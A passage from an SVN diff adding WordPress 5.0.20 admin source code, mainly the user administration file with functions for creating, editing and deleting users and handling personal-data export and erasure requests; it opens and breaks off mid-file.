+  cat_name varchar(55) NOT NULL default '',
+  category_nicename varchar(200) NOT NULL default '',
+  last_updated timestamp NOT NULL,
+  PRIMARY KEY  (cat_ID),
+  KEY category_nicename (category_nicename),
+  KEY last_updated (last_updated)
+) $charset_collate;
+";
+// now create tables
+	dbDelta( $ms_queries );
+}
+endif;
+
+/**
+ * Determine if global tables should be upgraded.
+ *
+ * This function performs a series of checks to ensure the environment allows
+ * for the safe upgrading of global WordPress database tables. It is necessary
+ * because global tables will commonly grow to millions of rows on large
+ * installations, and the ability to control their upgrade routines can be
+ * critical to the operation of large networks.
+ *
+ * In a future iteration, this function may use `wp_is_large_network()` to more-
+ * intelligently prevent global table upgrades. Until then, we make sure
+ * WordPress is on the main site of the main network, to avoid running queries
+ * more than once in multi-site or multi-network environments.
+ *
+ * @since 4.3.0
+ *
+ * @return bool Whether to run the upgrade routines on global tables.
+ */
+function wp_should_upgrade_global_tables() {
+
+	// Return false early if explicitly not upgrading
+	if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
+		return false;
+	}
+
+	// Assume global tables should be upgraded
+	$should_upgrade = true;
+
+	// Set to false if not on main network (does not matter if not multi-network)
+	if ( ! is_main_network() ) {
+		$should_upgrade = false;
+	}
+
+	// Set to false if not on main site of current network (does not matter if not multi-site)
+	if ( ! is_main_site() ) {
+		$should_upgrade = false;
+	}
+
+	/**
+	 * Filters if upgrade routines should be run on global tables.
+	 *
+	 * @param bool $should_upgrade Whether to run the upgrade routines on global tables.
+	 */
+	return apply_filters( 'wp_should_upgrade_global_tables', $should_upgrade );
+}
Index: /tags/5.0.20/src/wp-admin/includes/user.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/user.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/user.php	(revision 56912)
@@ -0,0 +1,1586 @@
+<?php
+/**
+ * WordPress user administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Creates a new user from the "Users" form using $_POST information.
+ *
+ * @since 2.0.0
+ *
+ * @return int|WP_Error WP_Error or User ID.
+ */
+function add_user() {
+	return edit_user();
+}
+
+/**
+ * Edit user settings based on contents of $_POST
+ *
+ * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
+ *
+ * @since 2.0.0
+ *
+ * @param int $user_id Optional. User ID.
+ * @return int|WP_Error user id of the updated user
+ */
+function edit_user( $user_id = 0 ) {
+	$wp_roles = wp_roles();
+	$user = new stdClass;
+	if ( $user_id ) {
+		$update = true;
+		$user->ID = (int) $user_id;
+		$userdata = get_userdata( $user_id );
+		$user->user_login = wp_slash( $userdata->user_login );
+	} else {
+		$update = false;
+	}
+
+	if ( !$update && isset( $_POST['user_login'] ) )
+		$user->user_login = sanitize_user($_POST['user_login'], true);
+
+	$pass1 = $pass2 = '';
+	if ( isset( $_POST['pass1'] ) )
+		$pass1 = $_POST['pass1'];
+	if ( isset( $_POST['pass2'] ) )
+		$pass2 = $_POST['pass2'];
+
+	if ( isset( $_POST['role'] ) && current_user_can( 'edit_users' ) ) {
+		$new_role = sanitize_text_field( $_POST['role'] );
+		$potential_role = isset($wp_roles->role_objects[$new_role]) ? $wp_roles->role_objects[$new_role] : false;
+		// Don't let anyone with 'edit_users' (admins) edit their own role to something without it.
+		// Multisite super admins can freely edit their blog roles -- they possess all caps.
+		if ( ( is_multisite() && current_user_can( 'manage_sites' ) ) || $user_id != get_current_user_id() || ($potential_role && $potential_role->has_cap( 'edit_users' ) ) )
+			$user->role = $new_role;
+
+		// If the new role isn't editable by the logged-in user die with error
+		$editable_roles = get_editable_roles();
+		if ( ! empty( $new_role ) && empty( $editable_roles[$new_role] ) )
+			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
+	}
+
+	if ( isset( $_POST['email'] ))
+		$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
+	if ( isset( $_POST['url'] ) ) {
+		if ( empty ( $_POST['url'] ) || $_POST['url'] == 'http://' ) {
+			$user->user_url = '';
+		} else {
+			$user->user_url = esc_url_raw( $_POST['url'] );
+			$protocols = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
+			$user->user_url = preg_match('/^(' . $protocols . '):/is', $user->user_url) ? $user->user_url : 'http://'.$user->user_url;
+		}
+	}
+	if ( isset( $_POST['first_name'] ) )
+		$user->first_name = sanitize_text_field( $_POST['first_name'] );
+	if ( isset( $_POST['last_name'] ) )
+		$user->last_name = sanitize_text_field( $_POST['last_name'] );
+	if ( isset( $_POST['nickname'] ) )
+		$user->nickname = sanitize_text_field( $_POST['nickname'] );
+	if ( isset( $_POST['display_name'] ) )
+		$user->display_name = sanitize_text_field( $_POST['display_name'] );
+
+	if ( isset( $_POST['description'] ) )
+		$user->description = trim( $_POST['description'] );
+
+	foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
+		if ( isset( $_POST[$method] ))
+			$user->$method = sanitize_text_field( $_POST[$method] );
+	}
+
+	if ( $update ) {
+		$user->rich_editing = isset( $_POST['rich_editing'] ) && 'false' === $_POST['rich_editing'] ? 'false' : 'true';
+		$user->syntax_highlighting = isset( $_POST['syntax_highlighting'] ) && 'false' === $_POST['syntax_highlighting'] ? 'false' : 'true';
+		$user->admin_color = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
+		$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
+		$user->locale = '';
+
+		if ( isset( $_POST['locale'] ) ) {
+			$locale = sanitize_text_field( $_POST['locale'] );
+			if ( 'site-default' === $locale ) {
+				$locale = '';
+			} elseif ( '' === $locale ) {
+				$locale = 'en_US';
+			} elseif ( ! in_array( $locale, get_available_languages(), true ) ) {
+				$locale = '';
+			}
+
+			$user->locale = $locale;
+		}
+	}
+
+	$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' == $_POST['comment_shortcuts'] ? 'true' : '';
+
+	$user->use_ssl = 0;
+	if ( !empty($_POST['use_ssl']) )
+		$user->use_ssl = 1;
+
+	$errors = new WP_Error();
+
+	/* checking that username has been typed */
+	if ( $user->user_login == '' )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: Please enter a username.' ) );
+
+	/* checking that nickname has been typed */
+	if ( $update && empty( $user->nickname ) ) {
+		$errors->add( 'nickname', __( '<strong>ERROR</strong>: Please enter a nickname.' ) );
+	}
+
+	/**
+	 * Fires before the password and confirm password fields are checked for congruity.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $user_login The username.
+	 * @param string $pass1     The password (passed by reference).
+	 * @param string $pass2     The confirmed password (passed by reference).
+	 */
+	do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );
+
+	// Check for blank password when adding a user.
+	if ( ! $update && empty( $pass1 ) ) {
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter a password.' ), array( 'form-field' => 'pass1' ) );
+	}
+
+	// Check for "\" in password.
+	if ( false !== strpos( wp_unslash( $pass1 ), "\\" ) ) {
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
+	}
+
+	// Checking the password has been typed twice the same.
+	if ( ( $update || ! empty( $pass1 ) ) && $pass1 != $pass2 ) {
+		$errors->add( 'pass', __( '<strong>ERROR</strong>: Please enter the same password in both password fields.' ), array( 'form-field' => 'pass1' ) );
+	}
+
+	if ( !empty( $pass1 ) )
+		$user->user_pass = $pass1;
+
+	if ( !$update && isset( $_POST['user_login'] ) && !validate_username( $_POST['user_login'] ) )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ));
+
+	if ( !$update && username_exists( $user->user_login ) )
+		$errors->add( 'user_login', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ));
+
+	/** This filter is documented in wp-includes/user.php */
+	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );
+
+	if ( in_array( strtolower( $user->user_login ), array_map( 'strtolower', $illegal_logins ) ) ) {
+		$errors->add( 'invalid_username', __( '<strong>ERROR</strong>: Sorry, that username is not allowed.' ) );
+	}
+
+	/* checking email address */
+	if ( empty( $user->user_email ) ) {
+		$errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please enter an email address.' ), array( 'form-field' => 'email' ) );
+	} elseif ( !is_email( $user->user_email ) ) {
+		$errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn&#8217;t correct.' ), array( 'form-field' => 'email' ) );
+	} elseif ( ( $owner_id = email_exists($user->user_email) ) && ( !$update || ( $owner_id != $user->ID ) ) ) {
+		$errors->add( 'email_exists', __('<strong>ERROR</strong>: This email is already registered, please choose another one.'), array( 'form-field' => 'email' ) );
+	}
+
+	/**
+	 * Fires before user profile update errors are returned.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param WP_Error $errors WP_Error object (passed by reference).
+	 * @param bool     $update  Whether this is a user update.
+	 * @param stdClass $user   User object (passed by reference).
+	 */
+	do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );
+
+	if ( $errors->get_error_codes() )
+		return $errors;
+
+	if ( $update ) {
+		$user_id = wp_update_user( $user );
+	} else {
+		$user_id = wp_insert_user( $user );
+		$notify  = isset( $_POST['send_user_notification'] ) ? 'both' : 'admin';
+
+		/**
+		  * Fires after a new user has been created.
+		  *
+		  * @since 4.4.0
+		  *
+		  * @param int    $user_id ID of the newly created user.
+		  * @param string $notify  Type of notification that should happen. See wp_send_new_user_notifications()
+		  *                        for more information on possible values.
+		  */
+		do_action( 'edit_user_created_user', $user_id, $notify );
+	}
+	return $user_id;
+}
+
+/**
+ * Fetch a filtered list of user roles that the current user is
+ * allowed to edit.
+ *
+ * Simple function who's main purpose is to allow filtering of the
+ * list of roles in the $wp_roles object so that plugins can remove
+ * inappropriate ones depending on the situation or user making edits.
+ * Specifically because without filtering anyone with the edit_users
+ * capability can edit others to be administrators, even if they are
+ * only editors or authors. This filter allows admins to delegate
+ * user management.
+ *
+ * @since 2.8.0
+ *
+ * @return array
+ */
+function get_editable_roles() {
+	$all_roles = wp_roles()->roles;
+
+	/**
+	 * Filters the list of editable roles.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $all_roles List of roles.
+	 */
+	$editable_roles = apply_filters( 'editable_roles', $all_roles );
+
+	return $editable_roles;
+}
+
+/**
+ * Retrieve user data and filter it.
+ *
+ * @since 2.0.5
+ *
+ * @param int $user_id User ID.
+ * @return WP_User|bool WP_User object on success, false on failure.
+ */
+function get_user_to_edit( $user_id ) {
+	$user = get_userdata( $user_id );
+
+	if ( $user )
+		$user->filter = 'edit';
+
+	return $user;
+}
+
+/**
+ * Retrieve the user's drafts.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $user_id User ID.
+ * @return array
+ */
+function get_users_drafts( $user_id ) {
+	global $wpdb;
+	$query = $wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id);
+
+	/**
+	 * Filters the user's drafts query string.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param string $query The user's drafts query string.
+	 */
+	$query = apply_filters( 'get_users_drafts', $query );
+	return $wpdb->get_results( $query );
+}
+
+/**
+ * Remove user and optionally reassign posts and links to another user.
+ *
+ * If the $reassign parameter is not assigned to a User ID, then all posts will
+ * be deleted of that user. The action {@see 'delete_user'} that is passed the User ID
+ * being deleted will be run after the posts are either reassigned or deleted.
+ * The user meta will also be deleted that are for that User ID.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $id User ID.
+ * @param int $reassign Optional. Reassign posts and links to new User ID.
+ * @return bool True when finished.
+ */
+function wp_delete_user( $id, $reassign = null ) {
+	global $wpdb;
+
+	if ( ! is_numeric( $id ) ) {
+		return false;
+	}
+
+	$id = (int) $id;
+	$user = new WP_User( $id );
+
+	if ( !$user->exists() )
+		return false;
+
+	// Normalize $reassign to null or a user ID. 'novalue' was an older default.
+	if ( 'novalue' === $reassign ) {
+		$reassign = null;
+	} elseif ( null !== $reassign ) {
+		$reassign = (int) $reassign;
+	}
+
+	/**
+	 * Fires immediately before a user is deleted from the database.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param int      $id       ID of the user to delete.
+	 * @param int|null $reassign ID of the user to reassign posts and links to.
+	 *                           Default null, for no reassignment.
+	 */
+	do_action( 'delete_user', $id, $reassign );
+
+	if ( null === $reassign ) {
+		$post_types_to_delete = array();
+		foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
+			if ( $post_type->delete_with_user ) {
+				$post_types_to_delete[] = $post_type->name;
+			} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
+				$post_types_to_delete[] = $post_type->name;
+			}
+		}
+
+		/**
+		 * Filters the list of post types to delete with a user.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $post_types_to_delete Post types to delete.
+		 * @param int   $id                   User ID.
+		 */
+		$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
+		$post_types_to_delete = implode( "', '", $post_types_to_delete );
+		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
+		if ( $post_ids ) {
+			foreach ( $post_ids as $post_id )
+				wp_delete_post( $post_id );
+		}
+
+		// Clean links
+		$link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) );
+
+		if ( $link_ids ) {
+			foreach ( $link_ids as $link_id )
+				wp_delete_link($link_id);
+		}
+	} else {
+		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
+		$wpdb->update( $wpdb->posts, array('post_author' => $reassign), array('post_author' => $id) );
+		if ( ! empty( $post_ids ) ) {
+			foreach ( $post_ids as $post_id )
+				clean_post_cache( $post_id );
+		}
+		$link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) );
+		$wpdb->update( $wpdb->links, array('link_owner' => $reassign), array('link_owner' => $id) );
+		if ( ! empty( $link_ids ) ) {
+			foreach ( $link_ids as $link_id )
+				clean_bookmark_cache( $link_id );
+		}
+	}
+
+	// FINALLY, delete user
+	if ( is_multisite() ) {
+		remove_user_from_blog( $id, get_current_blog_id() );
+	} else {
+		$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
+		foreach ( $meta as $mid )
+			delete_metadata_by_mid( 'user', $mid );
+
+		$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
+	}
+
+	clean_user_cache( $user );
+
+	/**
+	 * Fires immediately after a user is deleted from the database.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int      $id       ID of the deleted user.
+	 * @param int|null $reassign ID of the user to reassign posts and links to.
+	 *                           Default null, for no reassignment.
+	 */
+	do_action( 'deleted_user', $id, $reassign );
+
+	return true;
+}
+
+/**
+ * Remove all capabilities from user.
+ *
+ * @since 2.1.0
+ *
+ * @param int $id User ID.
+ */
+function wp_revoke_user($id) {
+	$id = (int) $id;
+
+	$user = new WP_User($id);
+	$user->remove_all_caps();
+}
+
+/**
+ * @since 2.8.0
+ *
+ * @global int $user_ID
+ *
+ * @param false $errors Deprecated.
+ */
+function default_password_nag_handler($errors = false) {
+	global $user_ID;
+	// Short-circuit it.
+	if ( ! get_user_option('default_password_nag') )
+		return;
+
+	// get_user_setting = JS saved UI setting. else no-js-fallback code.
+	if ( 'hide' == get_user_setting('default_password_nag') || isset($_GET['default_password_nag']) && '0' == $_GET['default_password_nag'] ) {
+		delete_user_setting('default_password_nag');
+		update_user_option($user_ID, 'default_password_nag', false, true);
+	}
+}
+
+/**
+ * @since 2.8.0
+ *
+ * @param int    $user_ID
+ * @param object $old_data
+ */
+function default_password_nag_edit_user($user_ID, $old_data) {
+	// Short-circuit it.
+	if ( ! get_user_option('default_password_nag', $user_ID) )
+		return;
+
+	$new_data = get_userdata($user_ID);
+
+	// Remove the nag if the password has been changed.
+	if ( $new_data->user_pass != $old_data->user_pass ) {
+		delete_user_setting('default_password_nag');
+		update_user_option($user_ID, 'default_password_nag', false, true);
+	}
+}
+
+/**
+ * @since 2.8.0
+ *
+ * @global string $pagenow
+ */
+function default_password_nag() {
+	global $pagenow;
+	// Short-circuit it.
+	if ( 'profile.php' == $pagenow || ! get_user_option('default_password_nag') )
+		return;
+
+	echo '<div class="error default-password-nag">';
+	echo '<p>';
+	echo '<strong>' . __('Notice:') . '</strong> ';
+	_e('You&rsquo;re using the auto-generated password for your account. Would you like to change it?');
+	echo '</p><p>';
+	printf( '<a href="%s">' . __('Yes, take me to my profile page') . '</a> | ', get_edit_profile_url() . '#password' );
+	printf( '<a href="%s" id="default-password-nag-no">' . __('No thanks, do not remind me again') . '</a>', '?default_password_nag=0' );
+	echo '</p></div>';
+}
+
+/**
+ * @since 3.5.0
+ * @access private
+ */
+function delete_users_add_js() { ?>
+<script>
+jQuery(document).ready( function($) {
+	var submit = $('#submit').prop('disabled', true);
+	$('input[name="delete_option"]').one('change', function() {
+		submit.prop('disabled', false);
+	});
+	$('#reassign_user').focus( function() {
+		$('#delete_option1').prop('checked', true).trigger('change');
+	});
+});
+</script>
+<?php
+}
+
+/**
+ * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
+ *
+ * See the {@see 'personal_options'} action.
+ *
+ * @since 2.7.0
+ *
+ * @param object $user User data object
+ */
+function use_ssl_preference($user) {
+?>
+	<tr class="user-use-ssl-wrap">
+		<th scope="row"><?php _e('Use https')?></th>
+		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked('1', $user->use_ssl); ?> /> <?php _e('Always use https when visiting the admin'); ?></label></td>
+	</tr>
+<?php
+}
+
+/**
+ *
+ * @param string $text
+ * @return string
+ */
+function admin_created_user_email( $text ) {
+	$roles = get_editable_roles();
+	$role = $roles[ $_REQUEST['role'] ];
+	/* translators: 1: Site name, 2: site URL, 3: role */
+	return sprintf( __( 'Hi,
+You\'ve been invited to join \'%1$s\' at
+%2$s with the role of %3$s.
+If you do not want to join this site please ignore
+this email. This invitation will expire in a few days.
+
+Please click the following link to activate your user account:
+%%s' ), wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES ), home_url(), wp_specialchars_decode( translate_user_role( $role['name'] ) ) );
+}
+
+/**
+ * Resend an existing request and return the result.
+ *
+ * @since 4.9.6
+ * @access private
+ *
+ * @param int $request_id Request ID.
+ * @return bool|WP_Error Returns true/false based on the success of sending the email, or a WP_Error object.
+ */
+function _wp_privacy_resend_request( $request_id ) {
+	$request_id = absint( $request_id );
+	$request    = get_post( $request_id );
+
+	if ( ! $request || 'user_request' !== $request->post_type ) {
+		return new WP_Error( 'privacy_request_error', __( 'Invalid request.' ) );
+	}
+
+	$result = wp_send_user_request( $request_id );
+
+	if ( is_wp_error( $result ) ) {
+		return $result;
+	} elseif ( ! $result ) {
+		return new WP_Error( 'privacy_request_error', __( 'Unable to initiate confirmation request.' ) );
+	}
+
+	return true;
+}
+
+/**
+ * Marks a request as completed by the admin and logs the current timestamp.
+ *
+ * @since 4.9.6
+ * @access private
+ *
+ * @param  int          $request_id Request ID.
+ * @return int|WP_Error $request    Request ID on success or WP_Error.
+ */
+function _wp_privacy_completed_request( $request_id ) {
+	$request_id   = absint( $request_id );
+	$request_data = wp_get_user_request_data( $request_id );
+
+	if ( ! $request_data ) {
+		return new WP_Error( 'privacy_request_error', __( 'Invalid request.' ) );
+	}
+
+	update_post_meta( $request_id, '_wp_user_request_completed_timestamp', time() );
+
+	$request = wp_update_post( array(
+		'ID'          => $request_id,
+		'post_status' => 'request-completed',
+	) );
+
+	return $request;
+}
+
+/**
+ * Handle list table actions.
+ *
+ * @since 4.9.6
+ * @access private
+ */
+function _wp_personal_data_handle_actions() {
+	if ( isset( $_POST['privacy_action_email_retry'] ) ) {
+		check_admin_referer( 'bulk-privacy_requests' );
+
+		$request_id = absint( current( array_keys( (array) wp_unslash( $_POST['privacy_action_email_retry'] ) ) ) );
+		$result     = _wp_privacy_resend_request( $request_id );
+
+		if ( is_wp_error( $result ) ) {
+			add_settings_error(
+				'privacy_action_email_retry',
+				'privacy_action_email_retry',
+				$result->get_error_message(),
+				'error'
+			);
+		} else {
+			add_settings_error(
+				'privacy_action_email_retry',
+				'privacy_action_email_retry',
+				__( 'Confirmation request sent again successfully.' ),
+				'updated'
+			);
+		}
+	} elseif ( isset( $_POST['action'] ) ) {
+		$action = isset( $_POST['action'] ) ? sanitize_key( wp_unslash( $_POST['action'] ) ) : '';
+
+		switch ( $action ) {
+			case 'add_export_personal_data_request':
+			case 'add_remove_personal_data_request':
+				check_admin_referer( 'personal-data-request' );
+
+				if ( ! isset( $_POST['type_of_action'], $_POST['username_or_email_for_privacy_request'] ) ) {
+					add_settings_error(
+						'action_type',
+						'action_type',
+						__( 'Invalid action.' ),
+						'error'
+					);
+				}
+				$action_type               = sanitize_text_field( wp_unslash( $_POST['type_of_action'] ) );
+				$username_or_email_address = sanitize_text_field( wp_unslash( $_POST['username_or_email_for_privacy_request'] ) );
+				$email_address             = '';
+
+				if ( ! in_array( $action_type, _wp_privacy_action_request_types(), true ) ) {
+					add_settings_error(
+						'action_type',
+						'action_type',
+						__( 'Invalid action.' ),
+						'error'
+					);
+				}
+
+				if ( ! is_email( $username_or_email_address ) ) {
+					$user = get_user_by( 'login', $username_or_email_address );
+					if ( ! $user instanceof WP_User ) {
+						add_settings_error(
+							'username_or_email_for_privacy_request',
+							'username_or_email_for_privacy_request',
+							__( 'Unable to add this request. A valid email address or username must be supplied.' ),
+							'error'
+						);
+					} else {
+						$email_address = $user->user_email;
+					}
+				} else {
+					$email_address = $username_or_email_address;
+				}
+
+				if ( empty( $email_address ) ) {
+					break;
+				}
+
+				$request_id = wp_create_user_request( $email_address, $action_type );
+
+				if ( is_wp_error( $request_id ) ) {
+					add_settings_error(
+						'username_or_email_for_privacy_request',
+						'username_or_email_for_privacy_request',
+						$request_id->get_error_message(),
+						'error'
+					);
+					break;
+				} elseif ( ! $request_id ) {
+					add_settings_error(
+						'username_or_email_for_privacy_request',
+						'username_or_email_for_privacy_request',
+						__( 'Unable to initiate confirmation request.' ),
+						'error'
+					);
+					break;
+				}
+
+				wp_send_user_request( $request_id );
+
+				add_settings_error(
+					'username_or_email_for_privacy_request',
+					'username_or_email_for_privacy_request',
+					__( 'Confirmation request initiated successfully.' ),
+					'updated'
+				);
+				break;
+		}
+	}
+}
+
+/**
+ * Cleans up failed and expired requests before displaying the list table.
+ *
+ * @since 4.9.6
+ * @access private
+ */
+function _wp_personal_data_cleanup_requests() {
+	/** This filter is documented in wp-includes/user.php */
+	$expires        = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );
+
+	$requests_query = new WP_Query( array(
+		'post_type'      => 'user_request',
+		'posts_per_page' => -1,
+		'post_status'    => 'request-pending',
+		'fields'         => 'ids',
+		'date_query'     => array(
+			array(
+				'column' => 'post_modified_gmt',
+				'before' => $expires . ' seconds ago',
+			),
+		),
+	) );
+
+	$request_ids = $requests_query->posts;
+
+	foreach ( $request_ids as $request_id ) {
+		wp_update_post( array(
+			'ID'            => $request_id,
+			'post_status'   => 'request-failed',
+			'post_password' => '',
+		) );
+	}
+}
+
+/**
+ * Personal data export.
+ *
+ * @since 4.9.6
+ * @access private
+ */
+function _wp_personal_data_export_page() {
+	if ( ! current_user_can( 'export_others_personal_data' ) ) {
+		wp_die( __( 'Sorry, you are not allowed to export personal data on this site.' ) );
+	}
+
+	_wp_personal_data_handle_actions();
+	_wp_personal_data_cleanup_requests();
+
+	// "Borrow" xfn.js for now so we don't have to create new files.
+	wp_enqueue_script( 'xfn' );
+
+	$requests_table = new WP_Privacy_Data_Export_Requests_Table( array(
+		'plural'   => 'privacy_requests',
+		'singular' => 'privacy_request',
+	) );
+	$requests_table->process_bulk_action();
+	$requests_table->prepare_items();
+	?>
+	<div class="wrap nosubsub">
+		<h1><?php esc_html_e( 'Export Personal Data' ); ?></h1>
+		<hr class="wp-header-end" />
+
+		<?php settings_errors(); ?>
+
+		<form method="post" class="wp-privacy-request-form">
+			<h2><?php esc_html_e( 'Add Data Export Request' ); ?></h2>
+			<p><?php esc_html_e( 'An email will be sent to the user at this email address asking them to verify the request.' ); ?></p>
+
+			<div class="wp-privacy-request-form-field">
+				<label for="username_or_email_for_privacy_request"><?php esc_html_e( 'Username or email address' ); ?></label>
+				<input type="text" required class="regular-text" id="username_or_email_for_privacy_request" name="username_or_email_for_privacy_request" />
+				<?php submit_button( __( 'Send Request' ), 'secondary', 'submit', false ); ?>
+			</div>
+			<?php wp_nonce_field( 'personal-data-request' ); ?>
+			<input type="hidden" name="action" value="add_export_personal_data_request" />
+			<input type="hidden" name="type_of_action" value="export_personal_data" />
+		</form>
+		<hr />
+
+		<?php $requests_table->views(); ?>
+
+		<form class="search-form wp-clearfix">
+			<?php $requests_table->search_box( __( 'Search Requests' ), 'requests' ); ?>
+			<input type="hidden" name="page" value="export_personal_data" />
+			<input type="hidden" name="filter-status" value="<?php echo isset( $_REQUEST['filter-status'] ) ? esc_attr( sanitize_text_field( $_REQUEST['filter-status'] ) ) : ''; ?>" />
+			<input type="hidden" name="orderby" value="<?php echo isset( $_REQUEST['orderby'] ) ? esc_attr( sanitize_text_field( $_REQUEST['orderby'] ) ) : ''; ?>" />
+			<input type="hidden" name="order" value="<?php echo isset( $_REQUEST['order'] ) ? esc_attr( sanitize_text_field( $_REQUEST['order'] ) ) : ''; ?>" />
+		</form>
+
+		<form method="post">
+			<?php
+			$requests_table->display();
+			$requests_table->embed_scripts();
+			?>
+		</form>
+	</div>
+	<?php
+}
+
+/**
+ * Personal data anonymization.
+ *
+ * @since 4.9.6
+ * @access private
+ */
+function _wp_personal_data_removal_page() {
+	/*
+	 * Require both caps in order to make it explicitly clear that delegating
+	 * erasure from network admins to single-site admins will give them the
+	 * ability to affect global users, rather than being limited to the site
+	 * that they administer.
+	 */
+	if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
+		wp_die( __( 'Sorry, you are not allowed to erase data on this site.' ) );
+	}
+
+	_wp_personal_data_handle_actions();
+	_wp_personal_data_cleanup_requests();
+
+	// "Borrow" xfn.js for now so we don't have to create new files.
+	wp_enqueue_script( 'xfn' );
+
+	$requests_table = new WP_Privacy_Data_Removal_Requests_Table( array(
+		'plural'   => 'privacy_requests',
+		'singular' => 'privacy_request',
+	) );
+
+	$requests_table->process_bulk_action();
+	$requests_table->prepare_items();
+
+	?>
+	<div class="wrap nosubsub">
+		<h1><?php esc_html_e( 'Erase Personal Data' ); ?></h1>
+		<hr class="wp-header-end" />
+
+		<?php settings_errors(); ?>
+
+		<form method="post" class="wp-privacy-request-form">
+			<h2><?php esc_html_e( 'Add Data Erasure Request' ); ?></h2>
+			<p><?php esc_html_e( 'An email will be sent to the user at this email address asking them to verify the request.' ); ?></p>
+
+			<div class="wp-privacy-request-form-field">
+				<label for="username_or_email_for_privacy_request"><?php esc_html_e( 'Username or email address' ); ?></label>
+				<input type="text" required class="regular-text" id="username_or_email_for_privacy_request" name="username_or_email_for_privacy_request" />
+				<?php submit_button( __( 'Send Request' ), 'secondary', 'submit', false ); ?>
+			</div>
+			<?php wp_nonce_field( 'personal-data-request' ); ?>
+			<input type="hidden" name="action" value="add_remove_personal_data_request" />
+			<input type="hidden" name="type_of_action" value="remove_personal_data" />
+		</form>
+		<hr />
+
+		<?php $requests_table->views(); ?>
+
+		<form class="search-form wp-clearfix">
+			<?php $requests_table->search_box( __( 'Search Requests' ), 'requests' ); ?>
+			<input type="hidden" name="page" value="remove_personal_data" />
+			<input type="hidden" name="filter-status" value="<?php echo isset( $_REQUEST['filter-status'] ) ? esc_attr( sanitize_text_field( $_REQUEST['filter-status'] ) ) : ''; ?>" />
+			<input type="hidden" name="orderby" value="<?php echo isset( $_REQUEST['orderby'] ) ? esc_attr( sanitize_text_field( $_REQUEST['orderby'] ) ) : ''; ?>" />
+			<input type="hidden" name="order" value="<?php echo isset( $_REQUEST['order'] ) ? esc_attr( sanitize_text_field( $_REQUEST['order'] ) ) : ''; ?>" />
+		</form>
+
+		<form method="post">
+			<?php
+			$requests_table->display();
+			$requests_table->embed_scripts();
+			?>
+		</form>
+	</div>
+	<?php
+}
+
+/**
+ * Mark erasure requests as completed after processing is finished.
+ *
+ * This intercepts the Ajax responses to personal data eraser page requests, and
+ * monitors the status of a request. Once all of the processing has finished, the
+ * request is marked as completed.
+ *
+ * @since 4.9.6
+ *
+ * @see wp_privacy_personal_data_erasure_page
+ *
+ * @param array  $response      The response from the personal data eraser for
+ *                              the given page.
+ * @param int    $eraser_index  The index of the personal data eraser. Begins
+ *                              at 1.
+ * @param string $email_address The email address of the user whose personal
+ *                              data this is.
+ * @param int    $page          The page of personal data for this eraser.
+ *                              Begins at 1.
+ * @param int    $request_id    The request ID for this personal data erasure.
+ * @return array The filtered response.
+ */
+function wp_privacy_process_personal_data_erasure_page( $response, $eraser_index, $email_address, $page, $request_id ) {
+	/*
+	 * If the eraser response is malformed, don't attempt to consume it; let it
+	 * pass through, so that the default Ajax processing will generate a warning
+	 * to the user.
+	 */
+	if ( ! is_array( $response ) ) {
+		return $response;
+	}
+
+	if ( ! array_key_exists( 'done', $response ) ) {
+		return $response;
